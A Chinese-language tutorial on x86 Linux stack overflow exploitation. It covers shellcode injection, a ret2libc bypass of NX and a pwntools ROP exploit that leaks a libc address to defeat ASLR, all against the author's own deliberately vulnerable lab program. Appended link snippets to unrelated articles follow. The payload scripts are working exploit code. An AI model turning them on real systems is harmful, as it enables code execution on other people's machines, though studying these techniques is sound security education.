Linux_x86下NX与ASLR绕过技术
本文介绍Linux_x86下NX与ASLR绕过技术,并对GCC的Stack Canaries保护技术进行原理分析。
本文使用存在漏洞代码如下:
/* filename : sof.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function()
{
char buf[128] = {0x00};
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv)
{
vulnerable_function();
return 0;
}
一、关闭NX,ASLR,Stack Canaries
root@ubuntu :~# echo 0 >/proc/sys/kernel/randomize_va_space
ez@ubuntu :~/workdir/rop$ gcc -fno-stack-protector -z execstack -o sof sof.c
接下来,1.找到溢出位置,2.构造shellcode
1.找到溢出位置
ez@ubuntu :~/workdir/rop$ ulimit -c 8096
ez@ubuntu :~/workdir/rop$ ./sof
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
Segmentation fault (core dumped)
调试core文件:
ez@ubuntu :~/workdir/rop$ gdb ./sof core
Core was generated by `./sof'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x37654136 in ?? ()
(gdb)
ez@ubuntu:~/workdir/rop/tools$ python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140
通过调试发现,溢出发生在140偏移处。下面验证我们的结论:
ez@ubuntu:~/workdir/rop$ gdb ./sof
(gdb) r
Starting program: /home/ez/workdir/rop/sof
CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDDProgram received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
(gdb) x/s $esp-144
0xbffff060: "CCCC", 'A' <repeats 136 times>, "DDDD\n3\374\267\020\361\377\277"
(gdb) x/s $esp-4
0xbffff0ec: "DDDD\n3\374\267\020\361\377\277"
(gdb)
画一张溢出时栈布局图,以便理解:
2.构造shellcode
我们将shellcode放到上图CCCC(0xbffff080)处,并将DDDD设置为shellcode地址:
(注意:gdb会改变栈布局影响shellcode地址,CCCC地址应通过调试coredump获得)
#!/usr/bin/env python
from struct import pack
ret = 0xbffff080
#mkdir "HACK" & chmod 777 & exit()
shellcode = "\x31\xc0\x50\x68\x48\x41\x43\x4b\xb0\x27\x89\xe3\x66\x41\xcd\x80\xb0\x0f\x66\xb9\xff\x01\xcd\x80\x31\xc0\x40\xcd\x80"
ret_fmt = pack("<I", ret)
payload = shellcode + 'A' * (140 - len(shellcode)) + ret_fmt
fp = open("payload", "wb")
fp.write(payload)
fp.close()
ez@ubuntu:~/workdir/rop$ ./sof < payload
成功执行后,在当前路径下创建权限为777的"HACK"目录。
二、Bypass NX
ez@ubuntu:~/workdir/rop$ gcc -fno-stack-protector -o sof2 sof.c
开启NX后,栈上shellcode变为不可执行。
复用上述payload,发现利用失败:
ez@ubuntu:~/workdir/rop$ ./sof2 < payload
Segmentation fault (core dumped)
查看两种编译选项下Stack区别,发现开启NX保护的栈变得不可执行(rw-p):
ez@ubuntu:~/workdir/rop$ ./sof &
[1] 2089
ez@ubuntu:~/workdir/rop$ ./sof2 &
[2] 2090
ez@ubuntu:~/workdir/rop$ cat /proc/2089/maps
bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]
ez@ubuntu:~/workdir/rop$ cat /proc/2090/maps
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
接下来分析绕过方法,并演示"puts("/bin/sh")"功能的shellcode
首先计算puts符号及"/bin/sh"字符串在目标程序中的地址:
(gdb) b main
Breakpoint 1 at 0x804847d
(gdb) r
Starting program: /home/ez/workdir/rop/sof2
Breakpoint 1, 0x0804847d in main ()
(gdb) print puts
$1 = {} 0xb7e7e190 <_IO_puts>
(gdb)
(gdb) print __libc_start_main
$2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, char **), void (*)(void), void (*)(void), void *)} 0xb7e31990 <__libc_start_main>
(gdb)
(gdb) find 0xb7e31990, +2000000, "/bin/sh"
0xb7f795a4
warning: Unable to access 16000 bytes of target memory at 0xb7fc392c, halting search.
1 pattern found.
(gdb)
(gdb) print exit
$1 = {} 0xb7e4b400 <__GI_exit>
(gdb)
下面编写exp:
#!/usr/bin/env python
from struct import pack
ret = pack("<I", 0xb7e4b400) #exit() addr
putsaddr = pack("<I", 0xb7e7e190)
binshaddr = pack("<I", 0xb7f795a4)
payload = 'A'*140 + putsaddr + ret + binshaddr
fp = open("payload_bypassdep", "wb")
fp.write(payload)
fp.close()
解释一下payload的构造,首先使用'A' spay整个vulnerable_function函数的栈空间,接着覆盖返回地址为puts函数地址。栈上ret是puts返回时将执行的函数地址,这里选择exit函数。binshaddr是puts的第一个参数地址。
函数调用时,首先在栈中压入参数,接着压入函数返回地址,因此这样构造Payload。
ez@ubuntu:~/workdir/rop$ ./sof2 < payload_bypassdep
/bin/sh
ez@ubuntu:~/workdir/rop$
成功执行。在shell中打印"/bin/sh"字符串。上面的方法,称为Ret2Libc技术。
Bypass NX核心思想是,复用代码片段;栈上只提供函数参数,或地址。
三、Bypass ASLR
下面介绍比Ret2Libc更通用的技术,ROP。ROP更加通用的原因是,它复用的不仅是libc.so.6中的代码片段。
首先开启系统ASLR功能:
root@ubuntu :~# echo 2 >/proc/sys/kernel/randomize_va_space
开启ASLR后,动态库在进程中加载位置变的随机化,注意下面libc.so.6库每次加载位置的变化:
ez@ubuntu:~/workdir/rop$ ldd sof2
linux-gate.so.1 => (0xb77de000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7618000)
/lib/ld-linux.so.2 (0xb77df000)
ez@ubuntu:~/workdir/rop$ ldd sof2
linux-gate.so.1 => (0xb77cf000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7609000)
/lib/ld-linux.so.2 (0xb77d0000)
我们运行两个进程,验证一下:
ez@ubuntu:~/workdir/rop$ ps -ef |grep sof2 |grep -v "grep"
ez 2547 10044 0 08:50 pts/0 00:00:00 ./sof2
ez 2548 10044 0 08:51 pts/0 00:00:00 ./sof2
ez@ubuntu:~/workdir/rop$
ez@ubuntu:~/workdir/rop$ cat /proc/2547/maps
08048000-08049000 r-xp 00000000 08:01 567388 /home/ez/workdir/rop/sof2
08049000-0804a000 r--p 00000000 08:01 567388 /home/ez/workdir/rop/sof2
0804a000-0804b000 rw-p 00001000 08:01 567388 /home/ez/workdir/rop/sof2
b75db000-b75dc000 rw-p 00000000 00:00 0
b75dc000-b7785000 r-xp 00000000 08:01 656375 /lib/i386-linux-gnu/libc-2.19.so
b7785000-b7787000 r--p 001a9000 08:01 656375 /lib/i386-linux-gnu/libc-2.19.so
b7787000-b7788000 rw-p 001ab000 08:01 656375 /lib/i386-linux-gnu/libc-2.19.so
b7788000-b778b000 rw-p 00000000 00:00 0
b779f000-b77a1000 rw-p 00000000 00:00 0
b77a1000-b77a2000 r-xp 00000000 00:00 0 [vdso]
b77a2000-b77c2000 r-xp 00000000 08:01 656351 /lib/i386-linux-gnu/ld-2.19.so
b77c2000-b77c3000 r--p 0001f000 08:01 656351 /lib/i386-linux-gnu/ld-2.19.so
b77c3000-b77c4000 rw-p 00020000 08:01 656351 /lib/i386-linux-gnu/ld-2.19.so
bfc5a000-bfc7b000 rw-p 00000000 00:00 0 [stack]ez@ubuntu:~/workdir/rop$ cat /proc/2548/maps
08048000-08049000 r-xp 00000000 08:01 567388 /home/ez/workdir/rop/sof2
08049000-0804a000 r--p 00000000 08:01 567388 /home/ez/workdir/rop/sof2
0804a000-0804b000 rw-p 00001000 08:01 567388 /home/ez/workdir/rop/sof2
b7604000-b7605000 rw-p 00000000 00:00 0
b7605000-b77ae000 r-xp 00000000 08:01 656375 /lib/i386-linux-gnu/libc-2.19.so
b77ae000-b77b0000 r--p 001a9000 08:01 656375 /lib/i386-linux-gnu/libc-2.19.so
b77b0000-b77b1000 rw-p 001ab000 08:01 656375 /lib/i386-linux-gnu/libc-2.19.so
b77b1000-b77b4000 rw-p 00000000 00:00 0
b77c8000-b77ca000 rw-p 00000000 00:00 0
b77ca000-b77cb000 r-xp 00000000 00:00 0 [vdso]
b77cb000-b77eb000 r-xp 00000000 08:01 656351 /lib/i386-linux-gnu/ld-2.19.so
b77eb000-b77ec000 r--p 0001f000 08:01 656351 /lib/i386-linux-gnu/ld-2.19.so
b77ec000-b77ed000 rw-p 00020000 08:01 656351 /lib/i386-linux-gnu/ld-2.19.so
bf8cb000-bf8ec000 rw-p 00000000 00:00 0 [stack]
会看到,栈、动态库的加载位置是变化的,而程序本身位置却无变化。所以可以将程序做为参照物,使用相对偏移计算库中元素位置。
接下来分析一下ELF的PLT段,我们发现read函数和write函数是在程序本身和动态库中共有的,可以选做参照物:
ez@ubuntu:~/workdir/rop$ objdump -d -j .plt sof2
sof2: file format elf32-i386
Disassembly of section .plt:
08048300 <read@plt-0x10>:
8048300: ff 35 04 a0 04 08 pushl 0x804a004
8048306: ff 25 08 a0 04 08 jmp *0x804a008
804830c: 00 00 add %al,(%eax)
...08048310 <read@plt>:
8048310: ff 25 0c a0 04 08 jmp *0x804a00c
8048316: 68 00 00 00 00 push $0x0
804831b: e9 e0 ff ff ff jmp 8048300 <_init+0x30>08048320 <__gmon_start__@plt>:
8048320: ff 25 10 a0 04 08 jmp *0x804a010
8048326: 68 08 00 00 00 push $0x8
804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x30>08048330 <__libc_start_main@plt>:
8048330: ff 25 14 a0 04 08 jmp *0x804a014
8048336: 68 10 00 00 00 push $0x10
804833b: e9 c0 ff ff ff jmp 8048300 <_init+0x30>08048340 <write@plt>:
8048340: ff 25 18 a0 04 08 jmp *0x804a018
8048346: 68 18 00 00 00 push $0x18
804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x30>
利用这种方法,实现puts("/bin/sh")这样一个简单功能,因为puts符号和"/bin/sh"字符串都可以在glibc库中找到。
首先构造这样一个payload:
'A'*140 + plt_read + vulfun_addr + 2 + got_read + 4
使用read@plt地址覆盖返回地址,read()的参数分别设置stdout,buffer,4bytes。read()执行完后再次执行漏洞代码所以栈上设置了vulnerable_function()函数地址。
现在read@got里已经是库中read()函数的真实加载地址。分别通过偏移计算puts地址puts_addr,"/bin/sh"字串地址binsh_addr,exit地址exit_addr。
构造payload再次输入:
'A'*140 + puts_addr + exit_addr + binsh_addr
演示一处相对偏移地址计算:
(gdb) p read
$1 = {<text variable, no debug info>} 0x800db6f0 <read>
(gdb) p puts
$2 = {<text variable, no debug info>} 0x80066190 <puts>(gdb) p/x 0x800db6f0-0x80066190
$3 = 0x75560
上面通过GDB演示2次交互过程,第一段payload执行完后,puts地址等当然可以在GDB中直接打印得到。通过pwntools编写的exp可以免去人的交互:
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so.6')
elf = ELF('sof2')
p = remote('127.0.0.1', 10888)
plt_read = elf.symbols['read'] #plt@read
got_read = elf.got['read'] #got@read
vulfun_addr = 0x80484fb #vulnerable_function地址
'''
第一次执行后,got中read计算得到真实加载地址,p32(2) +p32(got_read) + p32(4)为read参数;
read执行完后接着再执行一次vulnerable_function函数
'''
payload1 = 'A'*140 + p32(plt_read) + p32(vulfun_addr) + p32(1) +p32(got_read) + p32(4)
print "\n###sending payload1 ...###"
p.send(payload1)
print "\n###receving read() addr...###"
read_addr = u32(p.recv(4)) #got@read真实地址
print "\n###calculating puts() addr and \"/bin/sh\" addr...###"
# 计算puts地址
puts_addr = read_addr - (libc.symbols['read'] - libc.symbols['puts'])
# 计算"/bin/sh"字符串地址
binsh_addr = read_addr - (libc.symbols['read'] - next(libc.search('/bin/sh')))
payload2 = 'A'*140 + p32(puts_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
运行sof2,绑定到10888端口:
socat TCP4-LISTEN:10888,fork EXEC:./sof2
执行exp:
ez@ubuntu:~/workdir/rop$ python bypass_aslr.py
[+] Opening connection to 127.0.0.1 on port 10888: Done
###sending payload1 ...###
###receving write() addr...###
###calculating puts() addr and "/bin/sh" addr...###
###sending payload2 ...###
[*] /bin/sh
[*] Closed connection to 127.0.0.1 port 10888
Linux_x86下NX与ASLR绕过技术的更多相关文章
- Linux_x86下NX与ASLR绕过技术(续)
四.Stack Canaries 首先看一下Stack Canaries演进历史: Stack Guard 是第一个使用 Canaries 探测的堆栈保护实现,它于 1997 年作为 GCC 的一个扩 ...
- SafeSEH原理及绕过技术浅析
SafeSEH原理及绕过技术浅析 作者:magictong 时间:2012年3月16日星期五 摘要:主要介绍SafeSEH的基本原理和SafeSEH的绕过技术,重点在原理介绍. 关键词:SafeSEH ...
- Web安全--XSS现代WAF规则探测及绕过技术
XSS现代WAF规则探测及绕过技术初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过 ...
- 下周二推出“音视频技术WebRTC初探”公开课,欢迎捧场!
下周二推出"音视频技术WebRTC初探"公开课,欢迎捧场! 公开课课程链接:http://edu.csdn.net/huiyiCourse/detail/90 课程的解说资料 ...
- (转)android平台下使用点九PNG技术
“点九”是andriod平台的应用软件开发里的一种特殊的图片形式,文件扩展名为:.9.png 智能手机中有自动横屏的功能,同一幅界面会在随着手机(或平板电脑)中的方向传感器的参数不同而改变显示的方向, ...
- [后渗透]Linux下的几种隐藏技术【转载】
原作者:Bypass 原文链接:转自Bypass微信公众号 0x00 前言 攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术. 0x01 隐藏文件 ...
- ASLR/DEP绕过技术概览
在经典的栈溢出模型中,通过覆盖函数的返回地址来达到控制程序执行流程(EIP寄存器),通常将返回地址覆盖为0x7FFA4512,这个地址是一条JMP ESP指令,在函数返回时就会跳转到这个地址去执行,也 ...
- ModSecurity SQL注入攻击 – 深度绕过技术挑战
ModSecurity是一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecuri ...
- [转]XSS现代WAF规则探测及绕过技术
初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等: 2.如果 ...
随机推荐
- Shell 实践、常用脚本进阶
1.备份单个文件 #!/bin/bash #备份单个文件 DATE=`/bin/date +%y%m%d` /bin/tar -czpf /backup/$1.$DATE.tar.gz /backup ...
- 洛谷 P1856 【Picture】
题目描述 N(N<5000) 张矩形的海报,照片和其他同样形状的图片贴在墙上.它们的边都是垂直的或水平的.每个矩形可以部分或者全部覆盖其他矩形.所有的矩形组成的集合的轮廓称为周长.写一个程序计算 ...
- node.js调用google翻译api
源码下载:https://pan.baidu.com/s/1nxoodst 使用:(只支持get) http://39.106.33.56:3001/translate?text=Failure is ...
- hihocoder #1044 : 状态压缩·一 状压DP
http://hihocoder.com/problemset/problem/1044 可以看出来每一位的选取只与前m位有关,我们把每个位置起始的前m位选取状态看出01序列,就可以作为一个数字来存储 ...
- Struts2中 Action class not found 问题
刚学Struts2时碰到了以下两个问题,都是没有正确配置struts.xml导致的,自己记录一下: 1.浏览器报404:The origin server did not find a current ...
- React文档(十四)深入JSX
根本上,JSX只是为React.createElement(component, props, ...children)函数提供语法糖.JSX代码是这样的: <MyButton color=&q ...
- redis pipline 和 事务
1. Pipeline:“管道”,和很多设计模式中的“管道”具有同样的概念,pipleline的操作,将明确client与server端的交互,都是“单向的”:你可以将多个command,依次发给se ...
- Session&Cookie(Introduction、Application)
一Session 1概念: (1)session是会话,是同一连接者所有页面公有的内置对象 (2)session是一段时间,从session创建开始,到session销毁结束,默认时间为30分钟( ...
- CURL 调用登录接口并且携带Token
curl页面: <?php namespace frontend\controllers;use yii\base\Controller;use Yii;class NewController ...
- 记一下JavaScript的几种排序算法
零.写在最前 排序的方法有很多种,这篇文章只是记录我熟悉的算法: 我发现了一个关于排序算法很有趣的网站,把相关的算法演示做成了动画,有兴趣的同学可以看看! 附上SortAnimate网站链接:http ...